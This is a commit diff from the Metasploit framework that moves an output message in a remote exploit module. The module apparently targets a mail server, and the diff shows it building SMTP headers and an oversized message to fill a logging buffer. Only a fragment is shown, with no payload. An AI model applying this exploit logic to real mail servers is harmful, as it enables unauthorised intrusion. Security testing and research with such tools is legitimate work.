minor adjustment to output printing

git-svn-id: file:///home/svn/framework3/trunk@11281 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-12-10 23:29:26 +00:00
parent 5624c55599
commit c1f37b3c8a
1 changed files with 7 additions and 4 deletions

View File

@ -134,7 +134,13 @@ class Metasploit3 < Msf::Exploit::Remote
revdns = $1
saddr = $2
end
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
#
# Initiate the message
#
from = datastore['MAILFROM']
to = datastore['MAILTO']
@ -153,16 +159,13 @@ class Metasploit3 < Msf::Exploit::Remote
#
msg_len = max_msg + (1024*256) # just for good measure
log_buffer_size = 8192
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
host_part = "H="
host_part << revdns << " " if revdns != ehlo
host_part << "(#{ehlo})"
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
print_status("Constructing initial headers (source #{source})...")
print_status("Constructing initial headers ...")
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: message too big: read=#{msg_len} max=#{max_msg}\n"
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"